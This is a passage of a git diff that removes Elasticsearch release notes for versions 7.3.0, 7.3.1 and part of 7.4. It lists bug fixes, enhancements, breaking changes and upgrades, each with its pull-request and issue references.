-* Allow _update on write alias {es-pull}45318[#45318] (issue: {es-issue}31520[#31520])
-
-Data Frame::
-* Fix starting a batch {dataframe-transform} after stopping at runtime
-{es-pull}45340[#45340] (issues: {es-issue}44219[#44219], {es-issue}45339[#45339])
-* Fix null aggregation handling in indexer {es-pull}45061[#45061] (issue: {es-issue}44906[#44906])
-
-Distributed::
-* Ensure AsyncTask#isScheduled remains false after close {es-pull}45687[#45687] (issue: {es-issue}45576[#45576])
-* Fix clock used in update requests {es-pull}45262[#45262] (issue: {es-issue}45254[#45254])
-* Restore DefaultShardOperationFailedException's reason during deserialization {es-pull}45203[#45203]
-
-Features/Watcher::
-* Fix watcher HttpClient URL creation {es-pull}45207[#45207] (issue: {es-issue}44970[#44970])
-
-Infra/Packaging::
-* Use bundled JDK in Sys V init {es-pull}45593[#45593] (issue: {es-issue}45542[#45542])
-
-Infra/Settings::
-* Fix a bug with elasticsearch.common.settings.Settings.processSetting {es-pull}44047[#44047] (issue: {es-issue}43791[#43791])
-
-MULTIPLE AREA LABELS::
-* Fix a bug where mappings are dropped from rollover requests. {es-pull}45411[#45411] (issue: {es-issue}45399[#45399])
-* Sparse role queries can throw an NPE {es-pull}45053[#45053]
-
-Machine Learning::
-* Check dest index is empty when starting {dfanalytics} {es-pull}45094[#45094]
-* Catch any error thrown while closing {dfanalytics} process {es-pull}44958[#44958]
-* Only trap the case where more rows are supplied to outlier detection than
-expected. Previously, if rows were excluded from the {dataframe-transform} after supplying the row count in the configuration, we detected the inconsistency and
-failed outlier detection. However, this situation legitimately happens in cases
-where the field values are non-numeric or array valued. {ml-pull}569[#569]
-
-Mapping::
-* Make sure to validate the type before attempting to merge a new mapping. {es-pull}45157[#45157] (issues: {es-issue}29316[#29316], {es-issue}43012[#43012])
-
-SQL::
-* Adds format parameter to range queries for constant date comparisons {es-pull}45326[#45326] (issue: {es-issue}45139[#45139])
-* Uniquely named inner_hits sections for each nested field condition {es-pull}45039[#45039] (issues: {es-issue}33080[#33080], {es-issue}44544[#44544])
-* Fix URI path being lost in case of hosted ES scenario {es-pull}44776[#44776] (issue: {es-issue}44721[#44721])
-
-Search::
-* Prevent Leaking Search Tasks on Exceptions in FetchSearchPhase and DfsQueryPhase {es-pull}45500[#45500]
-* Fix an NPE when requesting inner hits and _source is disabled. {es-pull}44836[#44836] (issue: {es-issue}43517[#43517])
-
-Security::
-* Fix .security-* indices auto-create {es-pull}44918[#44918]
-* Use system context for looking up connected nodes {es-pull}43991[#43991] (issue: {es-issue}43974[#43974])
-
-
-
-[[upgrade-7.3.1]]
-[discrete]
-=== Upgrades
-
-Infra/Packaging::
-* Upgrade to JDK 12.0.2 {es-pull}45172[#45172]
-
-
-[[release-notes-7.3.0]]
-== {es} version 7.3.0
-
-Also see <<breaking-changes-7.3,Breaking changes in 7.3>>.
-
-
-[discrete]
-=== Known issues
-
-* Applying deletes or updates on an index after it has been shrunk may corrupt
-the index. In order to prevent this issue, it is recommended to stop shrinking
-read-write indices. For read-only indices, it is recommended to force-merge
-indices after shrinking, which significantly reduces the likeliness of this
-corruption in the case that deletes/updates would be applied by mistake. This
-bug is fixed in {es} 7.7 and later versions. More details can be found on the
-https://issues.apache.org/jira/browse/LUCENE-9300[corresponding issue].
-
-* Indices created in 6.x with <<date,`date`>> and <<date_nanos,`date_nanos`>> fields using formats
-that are incompatible with java.time patterns will cause parsing errors, incorrect date calculations or wrong search results.
-https://github.com/elastic/elasticsearch/pull/52555
-This is fixed in {es} 7.7 and later versions.
-
-
-[[breaking-7.3.0]]
-[discrete]
-=== Breaking changes
-
-CCR::
-* Do not allow modify aliases on followers {es-pull}43017[#43017] (issue: {es-issue}41396[#41396])
-
-Data Frame::
-* Removing format support in date_histogram group_by {es-pull}43659[#43659]
-
-[[breaking-java-7.3.0]]
-[discrete]
-=== Breaking Java changes
-
-Mapping::
-* Refactor put mapping request validation for reuse {es-pull}43005[#43005] (issues: {es-issue}37675[#37675], {es-issue}41396[#41396])
-
-Search::
-* Refactor IndexSearcherWrapper to disallow the wrapping of IndexSearcher {es-pull}43645[#43645]
-
-
-
-[[deprecation-7.3.0]]
-[discrete]
-=== Deprecations
-
-Features/Java High Level REST Client::
-* Deprecate native code info in xpack info api {es-pull}43297[#43297]
-
-Mapping::
-* Deprecate support for chained multi-fields. {es-pull}41926[#41926] (issue: {es-issue}41267[#41267])
-
-Network::
-* Deprecate transport profile security type setting {es-pull}43237[#43237]
-
-Search::
-* Deprecate CommonTermsQuery and cutoff_frequency {es-pull}42619[#42619] (issue: {es-issue}37096[#37096])
-
-
-
-[[feature-7.3.0]]
-[discrete]
-=== New features
-
-Aggregations::
-* Adds a minimum interval to `auto_date_histogram`. {es-pull}42814[#42814] (issue: {es-issue}41757[#41757])
-* Add RareTerms aggregation {es-pull}35718[#35718] (issue: {es-issue}20586[#20586])
-
-Audit::
-* Enable console audit logs for docker {es-pull}42671[#42671] (issue: {es-issue}42666[#42666])
-
-Data Frame::
-* Add sync api {es-pull}41800[#41800]
-
-Infra/Settings::
-* Consistent Secure Settings {es-pull}40416[#40416]
-
-Machine Learning::
-* Machine learning data frame analytics {es-pull}43544[#43544]
-
-Mapping::
-* Add support for 'flattened object' fields. {es-pull}42541[#42541] (issues: {es-issue}25312[#25312], {es-issue}33003[#33003])
-
-Ranking::
-* Move dense_vector and sparse_vector to module {es-pull}43280[#43280]
-
-SQL::
-* SQL: Add support for FROZEN indices {es-pull}41558[#41558] (issues: {es-issue}39377[#39377], {es-issue}39390[#39390])
-
-Search::
-* Wildcard intervals {es-pull}43691[#43691] (issue: {es-issue}43198[#43198])
-* Add prefix intervals source {es-pull}43635[#43635] (issue: {es-issue}43198[#43198])
-
-
-
-[[enhancement-7.3.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Allocate memory lazily in BestBucketsDeferringCollector {es-pull}43339[#43339] (issue: {es-issue}43091[#43091])
-* Reduce the number of docvalues iterator created in the global ordinals fielddata {es-pull}43091[#43091]
-
-Analysis::
-* Return reloaded analyzers in _reload_search_ananlyzer response {es-pull}43813[#43813] (issue: {es-issue}43804[#43804])
-* Allow reloading of search time analyzers {es-pull}43313[#43313] (issue: {es-issue}29051[#29051])
-* Allow reloading of search time analyzers {es-pull}42888[#42888] (issue: {es-issue}29051[#29051])
-* Allow reloading of search time analyzers {es-pull}42669[#42669] (issue: {es-issue}29051[#29051])
-
-Authentication::
-* Always attach system user to internal actions {es-pull}43468[#43468] (issue: {es-issue}42215[#42215])
-* Add kerberos grant_type to get token in exchange for Kerberos ticket {es-pull}42847[#42847] (issue: {es-issue}41943[#41943])
-* Permit API Keys on Basic License {es-pull}42787[#42787]
-
-Authorization::
-* Add "manage_api_key" cluster privilege {es-pull}43728[#43728] (issue: {es-issue}42020[#42020])
-* Use separate BitSet cache in Doc Level Security {es-pull}43669[#43669] (issue: {es-issue}30974[#30974])
-* Support builtin privileges in get privileges API {es-pull}42134[#42134] (issue: {es-issue}29771[#29771])
-
-CCR::
-* Replicate aliases in cross-cluster replication {es-pull}41815[#41815] (issue: {es-issue}41396[#41396])
-
-Cluster Coordination::
-* Ignore unknown fields if overriding node metadata {es-pull}44689[#44689]
-* Add voting-only master node {es-pull}43410[#43410] (issue: {es-issue}14340[#14340])
-* Defer reroute when nodes join {es-pull}42855[#42855]
-* Stop SeedHostsResolver on shutdown {es-pull}42844[#42844]
-* Log leader and handshake failures by default {es-pull}42342[#42342] (issue: {es-issue}42153[#42153])
-
-Data Frame::
-* Add a frequency option to transform config, default 1m {es-pull}44120[#44120]
-* Add node attr to GET _stats {es-pull}43842[#43842] (issue: {es-issue}43743[#43743])
-* Add deduced mappings to _preview response payload {es-pull}43742[#43742] (issue: {es-issue}39250[#39250])
-* Add support for allow_no_match for endpoints {es-pull}43490[#43490] (issue: {es-issue}42766[#42766])
-* Add version and create_time to transform config {es-pull}43384[#43384] (issue: {es-issue}43037[#43037])
-* Have sum map to a double to prevent overflows {es-pull}43213[#43213]
-* Add new pipeline field to dest config {es-pull}43124[#43124] (issue: {es-issue}43061[#43061])
-* Write a warning audit on bulk index failures {es-pull}43106[#43106]
-* Add support for weighted_avg agg {es-pull}42646[#42646]
-
-Distributed::
-* Improve Close Index Response {es-pull}39687[#39687] (issue: {es-issue}33888[#33888])
-
-Engine::
-* Use reader attributes to control term dict memory useage {es-pull}42838[#42838] (issue: {es-issue}38390[#38390])
-* Remove sort by primary term when reading soft-deletes {es-pull}43845[#43845]
-* Refresh translog stats after translog trimming in NoOpEngine {es-pull}43825[#43825] (issue: {es-issue}43156[#43156])
-* Expose translog stats in ReadOnlyEngine {es-pull}43752[#43752]
-* Do not use soft-deletes to resolve indexing strategy {es-pull}43336[#43336] (issues: {es-issue}35230[#35230], {es-issue}42979[#42979], {es-issue}43202[#43202])
-* Rebuild version map when opening internal engine {es-pull}43202[#43202] (issues: {es-issue}40741[#40741], {es-issue}42979[#42979])
-* Only load FST off heap if we are actually using mmaps for the term dictionary {es-pull}43158[#43158] (issue: {es-issue}43150[#43150])
-* Trim translog for closed indices {es-pull}43156[#43156] (issue: {es-issue}42445[#42445])
-* Also mmap terms index (`.tip`) files for hybridfs {es-pull}43150[#43150] (issue: {es-issue}42838[#42838])
-* Add a merge policy that prunes ID postings for soft-deleted but retained documents {es-pull}40741[#40741]
-
-Features/Indices APIs::
-* Remove "template" field in IndexTemplateMetadata {es-pull}42099[#42099] (issue: {es-issue}38502[#38502])
-
-Features/Ingest::
-* Avoid HashMap construction on Grok non-match {es-pull}42444[#42444]
-* Improve how internal representation of pipelines are updated {es-pull}42257[#42257]
-
-Features/Java High Level REST Client::
-* Add _reload_search_analyzers endpoint to HLRC {es-pull}43733[#43733] (issue: {es-issue}43313[#43313])
-* Bulk processor concurrent requests {es-pull}41451[#41451]
-
-Features/Java Low Level REST Client::
-* Adapt low-level REST client to java 8 {es-pull}41537[#41537] (issue: {es-issue}38540[#38540])
-
-Features/Monitoring::
-* Expand beats_system role privileges {es-pull}40876[#40876]
-
-Features/Watcher::
-* Improve CryptoService error message on missing secure file {es-pull}43623[#43623] (issue: {es-issue}43619[#43619])
-* Watcher: Allow to execute actions for each element in array {es-pull}41997[#41997] (issue: {es-issue}34546[#34546])
-
-Infra/Core::
-* Shortcut simple patterns ending in `*` {es-pull}43904[#43904]
-* Prevent merging nodes' data paths {es-pull}42665[#42665] (issue: {es-issue}42489[#42489])
-* Deprecation info for joda-java migration on 7.x {es-pull}42659[#42659] (issue: {es-issue}42010[#42010])
-* Implement XContentParser.genericMap and XContentParser.genericMapOrdered methods {es-pull}42059[#42059]
-
-Infra/Packaging::
-* Omit JDK sources archive from bundled JDK {es-pull}42821[#42821]
-
-Infra/Plugins::
-* Enable node roles to be pluggable {es-pull}43175[#43175]
-
-Infra/Scripting::
-* Add annotations to Painless whitelist {es-pull}43239[#43239]
-* Add painless method getByPath, get value from nested collections with dotted path {es-pull}43170[#43170] (issue: {es-issue}42769[#42769])
-* Add painless method getByPath, get value from nested collections with dotted path {es-pull}43129[#43129] (issue: {es-issue}42769[#42769])
-
-Machine Learning::
-* Add version and create_time to data frame analytics config {es-pull}43683[#43683]
-* Improve message when native controller cannot connect {es-pull}43565[#43565] (issue: {es-issue}42341[#42341])
-* Report exponential_avg_bucket_processing_time which gives more weight to recent buckets {es-pull}43189[#43189] (issue: {es-issue}29857[#29857])
-* Adding support for geo_shape, geo_centroid, geo_point in datafeeds {es-pull}42969[#42969] (issue: {es-issue}42820[#42820])
-* Report timing stats as part of the Job stats response {es-pull}42709[#42709] (issue: {es-issue}29857[#29857])
-* Increase maximum forecast interval to 10 years. {es-pull}41082[#41082] (issue: {es-issue}41103[#41103])
-* Upgrade to a newer version of the Apache Portable Runtime library. {ml-pull}495[#495]
-* Improve stability of modelling around change points. {ml-pull}496[#496]
-* Restrict detection of epoch timestamps in find_file_structure {es-pull}43188[#43188]
-* Better detection of binary input in find_file_structure {es-pull}42707[#42707]
-* Add a limit on line merging in find_file_structure {es-pull}42501[#42501] (issue: {es-issue}38086[#38086])
-* Improve file structure finder timestamp format determination {es-pull}41948[#41948] (issues: {es-issue}35132[#35132], {es-issue}35137[#35137], {es-issue}38086[#38086])
-* Add earliest and latest timestamps to field stats in find_file_structure response {es-pull}42890[#42890]
-* Change dots in CSV column names to underscores in find_file_structure response {es-pull}42839[#42839] (issue: {es-issue}26800[#26800])
-
-Mapping::
-* Add dims parameter to dense_vector mapping {es-pull}43444[#43444]
-* Added parsing of erroneous field value {es-pull}42321[#42321] (issue: {es-issue}41372[#41372])
-
-Network::
-* Do not hang on unsupported HTTP methods {es-pull}43362[#43362]
-
-Ranking::
-* Fix parameter value for calling data.advanceExact {es-pull}44205[#44205]
-* Distance measures for dense and sparse vectors {es-pull}37947[#37947] (issue: {es-issue}31615[#31615])
-
-Recovery::
-* Make peer recovery send file info step async {es-pull}43792[#43792] (issue: {es-issue}36195[#36195])
-* Make peer recovery clean files step async {es-pull}43787[#43787] (issue: {es-issue}36195[#36195])
-
-Reindex::
-* Reindex max_docs parameter name {es-pull}41894[#41894] (issue: {es-issue}24344[#24344])
-
-Search::
-* Split search in two when made against read-only and write indices {es-pull}42510[#42510] (issue: {es-issue}40900[#40900])
-* Rename SearchRequest#crossClusterSearch {es-pull}42363[#42363]
-* Allow `fields` to be set to `*` {es-pull}42301[#42301] (issue: {es-issue}39577[#39577])
-* Search - enable low_level_cancellation by default. {es-pull}42291[#42291] (issue: {es-issue}26258[#26258])
-* Cut over ClusterSearchShardsGroup to Writeable {es-pull}41788[#41788]
-* Disable max score optimization for queries with unbounded max scores {es-pull}41361[#41361]
-
-Snapshot/Restore::
-* Recursive Delete on BlobContainer {es-pull}43281[#43281] (issue: {es-issue}42189[#42189])
-* Add SAS Token Authentication Support to Azure Repo Plugin {es-pull}42982[#42982] (issue: {es-issue}42117[#42117])
-* Enable Parallel Deletes in Azure Repository {es-pull}42783[#42783]
-* Add Ability to List Child Containers to BlobContainer {es-pull}42653[#42653] (issue: {es-issue}42189[#42189])
-* Add custom metadata to snapshots {es-pull}41281[#41281] (issue: {es-issue}40638[#40638])
-
-Store::
-* Shard CLI tool always check shards {es-pull}41480[#41480] (issue: {es-issue}41298[#41298])
-
-
-
-[[bug-7.3.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Fix incorrect calculation of how many buckets will result from a merge {es-pull}44461[#44461] (issue: {es-issue}43577[#43577])
-* Set document on script when using Bytes.WithScript {es-pull}43390[#43390]
-* Bug fix to allow access to top level params in reduce script {es-pull}42096[#42096] (issue: {es-issue}42046[#42046])
-
-Allocation::
-* Do not copy initial recovery filter during split {es-pull}44053[#44053] (issue: {es-issue}43955[#43955])
-* Avoid parallel reroutes in DiskThresholdMonitor {es-pull}43381[#43381] (issue: {es-issue}40174[#40174])
-* Reset failed allocation counter before executing routing commands {es-pull}42658[#42658] (issue: {es-issue}39546[#39546])
-* Validate routing commands using updated routing state {es-pull}42066[#42066] (issue: {es-issue}41050[#41050])
-
-Analysis::
-* Fix AnalyzeAction response serialization {es-pull}44284[#44284] (issue: {es-issue}44078[#44078])
-* Actually close IndexAnalyzers contents {es-pull}43914[#43914]
-* Issue deprecation warnings for preconfigured delimited_payload_filter {es-pull}43684[#43684] (issues: {es-issue}26625[#26625], {es-issue}43568[#43568])
-* Use preconfigured filters correctly in Analyze API {es-pull}43568[#43568] (issue: {es-issue}43002[#43002])
-* Require [articles] setting in elision filter {es-pull}43083[#43083] (issue: {es-issue}43002[#43002])
-
-Authentication::
-* Fix broken short-circuit in getUnlicensedRealms {es-pull}44399[#44399]
-* Fix Token Service retry mechanism {es-pull}39639[#39639]
-
-CCR::
-* Skip update if leader and follower settings identical {es-pull}44535[#44535] (issue: {es-issue}44521[#44521])
-* Avoid stack overflow in auto-follow coordinator {es-pull}44421[#44421] (issue: {es-issue}43251[#43251])
-* Avoid NPE when checking for CCR index privileges {es-pull}44397[#44397] (issue: {es-issue}44172[#44172])
-* CCR should not replicate private/internal settings {es-pull}43067[#43067] (issue: {es-issue}41268[#41268])
-
-CRUD::
-* Fix NPE when rejecting bulk updates {es-pull}42923[#42923]
-* Fix "size" field in the body of AbstractBulkByScrollRequest {es-pull}35742[#35742] (issue: {es-issue}35636[#35636])
-
-Cluster Coordination::
-* Local node is discovered when cluster fails {es-pull}43316[#43316]
-* Reset state recovery after successful recovery {es-pull}42576[#42576] (issue: {es-issue}39172[#39172])
-* Cluster state from API should always have a master {es-pull}42454[#42454] (issues: {es-issue}38331[#38331], {es-issue}38432[#38432])
-* Omit non-masters in ClusterFormationFailureHelper {es-pull}41344[#41344]
-
-Data Frame::
-* Treat bulk index failures as an indexing failure {es-pull}44351[#44351] (issue: {es-issue}44101[#44101])
-* Responding with 409 status code when failing _stop {es-pull}44231[#44231] (issue: {es-issue}44103[#44103])
-* Adds index validations to _start data frame transform {es-pull}44191[#44191] (issue: {es-issue}44104[#44104])
-* Data frame task failure do not make a 500 response {es-pull}44058[#44058] (issue: {es-issue}44011[#44011])
-* Audit message missing for autostop {es-pull}43984[#43984] (issue: {es-issue}43977[#43977])
-* Add data frame transform cluster privileges to HLRC {es-pull}43879[#43879]
-* Improve pivot nested field validations {es-pull}43548[#43548]
-* Adjusting error message {es-pull}43455[#43455]
-* Size the GET stats search by number of Ids requested {es-pull}43206[#43206] (issue: {es-issue}43203[#43203])
-* Rewrite start and stop to answer with acknowledged {es-pull}42589[#42589] (issue: {es-issue}42450[#42450])
-* Set data frame transform task state to stopped when stopping   {es-pull}42516[#42516] (issue: {es-issue}42441[#42441])
-
-Distributed::
-* Fix DefaultShardOperationFailedException subclass xcontent serialization {es-pull}43435[#43435] (issue: {es-issue}43423[#43423])
-* Advance checkpoints only after persisting ops {es-pull}43205[#43205]
-* Avoid loading retention leases while writing them {es-pull}42620[#42620] (issue: {es-issue}41430[#41430])
-* Do not use ifSeqNo for update requests on mixed cluster {es-pull}42596[#42596] (issue: {es-issue}42561[#42561])
-* Ensure relocation target still tracked when start handoff {es-pull}42201[#42201]
-
-Engine::
-* AsyncIOProcessor preserve thread context {es-pull}43729[#43729]
-* Account soft deletes for committed segments {es-pull}43126[#43126] (issue: {es-issue}43103[#43103])
-* Prune _id of only docs below local checkpoint of safe commit {es-pull}43051[#43051] (issues: {es-issue}40741[#40741], {es-issue}42979[#42979])
-* Improve translog corruption detection {es-pull}42744[#42744] (issue: {es-issue}42661[#42661])
-
-Features/CAT APIs::
-* Fix indices shown in _cat/indices {es-pull}43286[#43286] (issues: {es-issue}33888[#33888], {es-issue}38824[#38824], {es-issue}39933[#39933])
-
-Features/ILM::
-* Fix swapped variables in error message {es-pull}44300[#44300]
-* Account for node versions during allocation in ILM Shrink {es-pull}43300[#43300] (issue: {es-issue}41879[#41879])
-* Narrow period of Shrink action in which ILM prevents stopping {es-pull}43254[#43254] (issue: {es-issue}43253[#43253])
-* Make ILM force merging best effort {es-pull}43246[#43246] (issues: {es-issue}42824[#42824], {es-issue}43245[#43245])
-
-Features/Indices APIs::
-* Check shard limit after applying index templates {es-pull}44619[#44619] (issues: {es-issue}34021[#34021], {es-issue}44567[#44567], {es-issue}44619[#44619])
-* Validate index settings after applying templates {es-pull}44612[#44612] (issues: {es-issue}34021[#34021], {es-issue}44567[#44567])
-* Prevent NullPointerException in TransportRolloverAction {es-pull}43353[#43353] (issue: {es-issue}43296[#43296])
-
-Features/Ingest::
-* Read the default pipeline for bulk upsert through an alias {es-pull}41963[#41963]
-
-Features/Java High Level REST Client::
-* Fix CreateRepository Requeset in HLRC {es-pull}43522[#43522] (issue: {es-issue}43521[#43521])
-
-Features/Stats::
-* Return 0 for negative "free" and "total" memory reported by the OS {es-pull}42725[#42725] (issue: {es-issue}42157[#42157])
-
-Features/Watcher::
-* NullPointerException when creating a watch with Jira action (#41922) {es-pull}42081[#42081]
-* fix unlikely bug that can prevent Watcher from restarting {es-pull}42030[#42030]
-
-Infra/Core::
-* Add default CLI JVM options {es-pull}44545[#44545] (issues: {es-issue}219[#219], {es-issue}42021[#42021])
-* scheduleAtFixedRate would hang {es-pull}42993[#42993] (issue: {es-issue}38441[#38441])
-* Only ignore IOException when fsyncing on dirs {es-pull}42972[#42972] (issue: {es-issue}42950[#42950])
-* Fix alpha build error message when generate version object from version string {es-pull}40406[#40406]
-* Bat scripts to work with JAVA_HOME with parantheses {es-pull}39712[#39712] (issues: {es-issue}30606[#30606], {es-issue}33405[#33405], {es-issue}38578[#38578], {es-issue}38624[#38624])
-* Change licence expiration date pattern {es-pull}39681[#39681] (issue: {es-issue}39136[#39136])
-
-Infra/Packaging::
-* Restore setting up temp dir for windows service {es-pull}44541[#44541]
-* Fix the bundled jdk flag to be passed through windows startup {es-pull}43502[#43502]
-
-Infra/Plugins::
-* Do not checksum all bytes at once in plugin install {es-pull}44649[#44649] (issue: {es-issue}44545[#44545])
-
-Infra/REST API::
-* Remove deprecated _source_exclude and _source_include from get API spec {es-pull}42188[#42188]
-
-Infra/Scripting::
-* Allow aggregations using expressions to use _score {es-pull}42652[#42652]
-
-Machine Learning::
-* Update .ml-config mappings before indexing job, datafeed or df analytics config {es-pull}44216[#44216] (issue: {es-issue}44263[#44263])
-* Wait for .ml-config primary before assigning persistent tasks {es-pull}44170[#44170] (issue: {es-issue}44156[#44156])
-* Fix ML memory tracker lockup when inner step fails {es-pull}44158[#44158] (issue: {es-issue}44156[#44156])
-* Reduce false positives associated with the multi-bucket feature. {ml-pull}491[#491]
-* Reduce false positives for sum and count functions on sparse data. {ml-pull}492[#492]
-* Fix an edge case causing spurious anomalies (false positives) if the variance
-in the count of events changed significantly throughout the period of a seasonal
-quantity. (See {ml-pull}489[#489].)
-
-Mapping::
-* Ensure field caps doesn't error on rank feature fields. {es-pull}44370[#44370] (issue: {es-issue}44330[#44330])
-* Prevent types deprecation warning for indices.exists requests {es-pull}43963[#43963] (issue: {es-issue}43905[#43905])
-* Fix index_prefix sub field name on nested text fields {es-pull}43862[#43862] (issue: {es-issue}43741[#43741])
-* Fix possible NPE in put mapping validators {es-pull}43000[#43000] (issue: {es-issue}37675[#37675])
-* Allow big integers and decimals to be mapped dynamically. {es-pull}42827[#42827] (issue: {es-issue}37846[#37846])
-
-Network::
-* Reconnect remote cluster when seeds are changed {es-pull}43379[#43379] (issue: {es-issue}37799[#37799])
-* Don't require TLS for single node clusters {es-pull}42826[#42826]
-* Fix Class Load Order in Netty4Plugin {es-pull}42591[#42591] (issue: {es-issue}42532[#42532])
-
-Recovery::
-* Ensure to access RecoveryState#fileDetails under lock {es-pull}43839[#43839]
-* Make Recovery API support `detailed` params {es-pull}29076[#29076] (issue: {es-issue}28910[#28910])
-
-Reindex::
-* Properly serialize remote query in ReindexRequest {es-pull}43457[#43457] (issues: {es-issue}43406[#43406], {es-issue}43456[#43456])
-* Fixing handling of auto slices in bulk scroll requests {es-pull}43050[#43050]
-* Remote reindex failure parse fix {es-pull}42928[#42928]
-* Fix concurrent search and index delete {es-pull}42621[#42621] (issue: {es-issue}28053[#28053])
-* Propogate version in reindex from remote search {es-pull}42412[#42412] (issue: {es-issue}31908[#31908])
-
-SQL::
-* SQL: change the size of the list of concrete indices when resolving multiple indices {es-pull}43878[#43878] (issue: {es-issue}43876[#43876])
-* SQL: handle double quotes escaping {es-pull}43829[#43829] (issue: {es-issue}43810[#43810])
-* SQL: add pretty printing to JSON format {es-pull}43756[#43756]
-* SQL: handle SQL not being available in a more graceful way {es-pull}43665[#43665] (issue: {es-issue}41279[#41279])
-* SQL: fix NPE in case of subsequent scrolled requests for a CSV/TSV formatted response {es-pull}43365[#43365] (issue: {es-issue}43327[#43327])
-* Geo: Add coerce support to libs/geo WKT parser {es-pull}43273[#43273] (issue: {es-issue}43173[#43173])
-* SQL: Increase hard limit for sorting on aggregates {es-pull}43220[#43220] (issue: {es-issue}43168[#43168])
-* SQL: Fix wrong results when sorting on aggregate {es-pull}43154[#43154] (issue: {es-issue}42851[#42851])
-* SQL: cover the Integer type when extracting values from _source {es-pull}42859[#42859] (issue: {es-issue}42858[#42858])
-
-Search::
-* Don't use index_phrases on graph queries {es-pull}44340[#44340] (issue: {es-issue}43976[#43976])
-* Fix wrong logic in `match_phrase` query with multi-word synonyms {es-pull}43941[#43941] (issue: {es-issue}43308[#43308])
-* Fix UOE on search requests that match a sparse role query {es-pull}43668[#43668] (issue: {es-issue}42857[#42857])
-* Fix propagation of enablePositionIncrements in QueryStringQueryBuilder {es-pull}43578[#43578] (issue: {es-issue}43574[#43574])
-* Fix score mode of the MinimumScoreCollector {es-pull}43527[#43527] (issue: {es-issue}43497[#43497])
-* Fix round up of date range without rounding {es-pull}43303[#43303] (issue: {es-issue}43277[#43277])
-* SearchRequest#allowPartialSearchResults does not handle successful retries {es-pull}43095[#43095] (issue: {es-issue}40743[#40743])
-* Wire query cache into sorting nested-filter computation {es-pull}42906[#42906] (issue: {es-issue}42813[#42813])
-* Fix auto fuzziness in query_string query {es-pull}42897[#42897]
-* Fix IntervalBuilder#analyzeText to never return `null` {es-pull}42750[#42750] (issue: {es-issue}42587[#42587])
-* Fix sorting on nested field with unmapped {es-pull}42451[#42451] (issue: {es-issue}33644[#33644])
-* Deduplicate alias and concrete fields in query field expansion {es-pull}42328[#42328]
-
-Security::
-* Do not swallow I/O exception getting authentication {es-pull}44398[#44398] (issues: {es-issue}44172[#44172], {es-issue}44397[#44397])
-* Use system context for looking up connected nodes {es-pull}43991[#43991] (issue: {es-issue}43974[#43974])
-* SecurityIndexSearcherWrapper doesn't always carry over caches and similarity {es-pull}43436[#43436]
-* Detect when security index is closed {es-pull}42191[#42191]
-
-Snapshot/Restore::
-* Check again on-going snapshots/restores of indices before closing {es-pull}43873[#43873]
-* Fix Azure List by Prefix Bug {es-pull}42713[#42713]
-
-Store::
-* Remove usage of FileSwitchDirectory  {es-pull}42937[#42937] (issue: {es-issue}37111[#37111])
-* Fix Infinite Loops in ExceptionsHelper#unwrap {es-pull}42716[#42716] (issue: {es-issue}42340[#42340])
-
-Suggesters::
-* Fix suggestions for empty indices {es-pull}42927[#42927] (issue: {es-issue}42473[#42473])
-* Skip explain phase when only suggestions are requested {es-pull}41739[#41739] (issue: {es-issue}31260[#31260])
-
-
-
-[[regression-7.3.0]]
-[discrete]
-=== Regressions
-
-Infra/Core::
-* Restore date aggregation performance in UTC case {es-pull}38221[#38221] (issue: {es-issue}37826[#37826])
-
-
-
-[[upgrade-7.3.0]]
-[discrete]
-=== Upgrades
-
-Discovery-Plugins::
-* Upgrade AWS SDK to Latest Version {es-pull}42708[#42708]
-
-Engine::
-* Upgrade to Lucene 8.1.0 {es-pull}42214[#42214]
-
-Infra/Core::
-* Upgrade HPPC to version 0.8.1 {es-pull}43025[#43025]
-
-Network::
-* Upgrade to Netty 4.1.36 {es-pull}42543[#42543] (issue: {es-issue}42532[#42532])
-
-Snapshot/Restore::
-* Upgrade GCS Repository Dependencies {es-pull}43142[#43142]
-
-
diff --git a/docs/reference/release-notes/7.4.asciidoc b/docs/reference/release-notes/7.4.asciidoc
deleted file mode 100644
index 18ccb1b8de6..00000000000
--- a/docs/reference/release-notes/7.4.asciidoc
+++ /dev/null
@@ -1,654 +0,0 @@
-[[release-notes-7.4.2]]
-== {es} version 7.4.2
-
-[discrete]
-[[bug-7.4.2]]
-=== Bug fixes
-
-Transform::
-* Prevent assignment if any node is older than 7.4 {es-pull}48055[#48055] (issue: {es-issue}48019[#48019])
-
-[[release-notes-7.4.1]]
-== {es} version 7.4.1
-
-Also see <<breaking-changes-7.4,Breaking changes in 7.4>>.
-
-[[enhancement-7.4.1]]
-[discrete]
-=== Enhancements
-
-Engine::
-* Avoid unneeded refresh with concurrent realtime gets {es-pull}47895[#47895]
-* sync before trimUnreferencedReaders to improve index preformance {es-pull}47790[#47790] (issues: {es-issue}46201[#46201], {es-issue}46203[#46203])
-* Limit number of retaining translog files for peer recovery {es-pull}47414[#47414]
-
-Infra/Circuit Breakers::
-* Emit log message when parent circuit breaker trips {es-pull}47000[#47000]
-
-Machine Learning::
-* Throttle the delete-by-query of expired results {es-pull}47177[#47177] (issues: {es-issue}47003[#47003])
-* The {ml} native processes are now arranged in a `.app` directory structure on
-  macOS, to allow for notarization on macOS Catalina. {ml-pull}593[#593]
-
-
-
-[[bug-7.4.1]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* DocValueFormat implementation for date range fields {es-pull}47472[#47472] (issues: {es-issue}47323[#47323], {es-issue}47469[#47469])
-
-Allocation::
-* Dangling indices strip aliases {es-pull}47581[#47581]
-
-Analysis::
-* Reset Token position on reuse in `predicate_token_filter` {es-pull}47424[#47424] (issue: {es-issue}47197[#47197])
-
-Authentication::
-* Fix AD realm additional metadata {es-pull}47179[#47179] (issue: {es-issue}45848[#45848])
-
-Authorization::
-* Use 'should' clause instead of 'filter' when querying native privileges {es-pull}47019[#47019]
-
-CCR::
-* Do not auto-follow closed indices {es-pull}47721[#47721] (issue: {es-issue}47582[#47582])
-* Relax maxSeqNoOfUpdates assertion in FollowingEngine {es-pull}47188[#47188] (issue: {es-issue}47137[#47137])
-
-Cluster Coordination::
-* Omit writing index metadata for non-replicated closed indices on data-only node {es-pull}47285[#47285] (issue: {es-issue}47276[#47276])
-
-Features/ILM+SLM::
-* Throw error retrieving non-existent SLM policy {es-pull}47679[#47679] (issue: {es-issue}47664[#47664])
-
-Features/Indices APIs::
-* Fix Rollover error when alias has closed indices {es-pull}47148[#47148] (issue: {es-issue}47146[#47146])
-
-Features/Java High Level REST Client::
-* Fix ILM HLRC Javadoc->Documentation links {es-pull}48083[#48083]
-
-Features/Monitoring::
-* [Monitoring] Add new cluster privilege now necessary for the stack monitoring ui {es-pull}47871[#47871]
-
-Infra/Scripting::
